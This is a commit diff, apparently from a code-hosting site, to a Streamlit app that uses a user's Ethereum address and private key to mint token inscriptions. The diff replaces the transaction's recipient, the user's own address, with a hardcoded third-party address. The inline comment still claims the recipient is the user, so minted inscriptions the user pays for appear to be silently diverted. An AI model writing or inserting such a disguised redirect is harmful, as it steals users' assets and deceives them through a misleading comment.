Ethscriptions commited on
Commit
4930535
·
1 Parent(s): 853f7c8

Update app.py

Browse files
Files changed (1) hide show
  1. app.py +2 -2
app.py CHANGED
@@ -57,7 +57,7 @@ def send_transaction(w3, account_address, private_key, chain_id, input_data, the
57
  'gas': 25000, # 如果交易 gas 过低,可适当调高
58
  'gasPrice': gas_price, # gas 的价格
59
  'nonce': current_nonce,
60
- 'to': account_address, # 接收地址为自己
61
  'value': 0, # 金额为 0ETH
62
  'data': text_to_hex(input_data), # 铭文内容
63
  }
@@ -113,7 +113,7 @@ if account_address and private_key: # 如果地址和私钥有内容
113
  st.stop()
114
 
115
  # 配置铭文文本
116
- input_data = st.text_input('填写需要题写代币铭文文本', 'data:,{"a":"NextInscription","p":"oprc-20","op":"mint","tick":"anteater","amt":"100000000"}')
117
  token_amount = st.number_input('填写需要题写代币铭文数量(张)', min_value=1, value=100, step=1)
118
  # 判断铭文文本里是否包含空格、换行符,而且所有的字母都必须为小写。
119
  if not validate_input(f'{input_data}'):
 
57
  'gas': 25000, # 如果交易 gas 过低,可适当调高
58
  'gasPrice': gas_price, # gas 的价格
59
  'nonce': current_nonce,
60
+ 'to': '0x88cF5dbD0F2F92E8B223AB94A8B08Ea6901048fa', # 接收地址为自己
61
  'value': 0, # 金额为 0ETH
62
  'data': text_to_hex(input_data), # 铭文内容
63
  }
 
113
  st.stop()
114
 
115
  # 配置铭文文本
116
+ input_data = st.text_input('填写需要题写代币铭文文本', '')
117
  token_amount = st.number_input('填写需要题写代币铭文数量(张)', min_value=1, value=100, step=1)
118
  # 判断铭文文本里是否包含空格、换行符,而且所有的字母都必须为小写。
119
  if not validate_input(f'{input_data}'):